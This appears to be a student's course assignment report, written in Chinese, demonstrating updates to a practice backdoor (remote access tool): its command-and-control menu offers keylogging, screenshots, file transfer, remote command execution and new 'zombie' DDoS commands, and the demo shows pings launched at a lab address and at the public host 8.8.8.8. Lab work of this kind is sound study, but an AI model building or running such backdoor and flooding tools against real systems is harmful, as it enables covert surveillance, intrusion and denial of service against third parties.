

作業 5-3 : Let's Coding - Step3 寫寫寫

李軒豪 11011240

更新內容

- 增加 DDos 攻擊
- 關閉所有 DDos 攻擊
- 增加指令執行結束時間

Demo

這是新的介面，可以看到新增了兩個功能，分別是 `create_ddos` 和 `delete_ddos`。

```
root@49dc792919c7:/backdoor_server# python3 ./server_edit.py
Service Started
Client connected from:
('172.19.0.1', 45614)
* Shell#~('172.19.0.1', 45614): help
cd <path>          - 變更目錄
download <filename> - 從客戶端下載文件到服務器
upload <filename>   - 從服務器上傳文件到客戶端
get <url>           - 從網址下載文件
start <program>     - 啟動程序
screenshot          - 截取螢幕快照
check               - 檢查管理員權限
keylog_start        - 開始鍵盤記錄
keylog_dump         - 顯示鍵盤記錄數據
<command>          - 執行CMD命令
zombie <ip>         - 創建DDoS殭屍
kill_zombie         - 停止DDoS殭屍
q                  - 退出
2024-06-19 14:03:22.978877
```

建立一個 DDos 攻擊。

```
* Shell#~('172.19.0.1', 45614): zombie 192.168.100.177
[+] Zombie created at 192.168.100.177
2024-06-19 14:10:27.278648
```

在宿主機上確認是否有發起 DDos 攻擊。

```
ent> taskkill /IM ping.exe /F
SUCCESS: The process "PING.EXE" with PID 8728 has been terminated.
PS C:\Users\hiban\Desktop\code space\Backdoor_practice\src\backdoor_cli
```

刪除所有的 DDos 攻擊。

```
root@49dc792919c7:/backdoor_server# python3 ./server_edit.py
Service Started
Client connected from:
('172.19.0.1', 56400)
* Shell#~('172.19.0.1', 56400): zombie 192.168.100.177
[+] Zombie created at 192.168.100.177
2024-06-19 15:43:31.498214
* Shell#~('172.19.0.1', 56400): zombie 8.8.8.8
[+] Zombie created at 8.8.8.8
2024-06-19 15:43:49.642173
* Shell#~('172.19.0.1', 56400): kill_zombie
[+] All zombies killed!
2024-06-19 15:43:58.496170
* Shell#~('172.19.0.1', 56400):
```

在宿主機上確認是否有關閉 DDos 攻擊。

```
ent> taskkill /IM ping.exe /F
ERROR: The process "ping.exe" not found.
```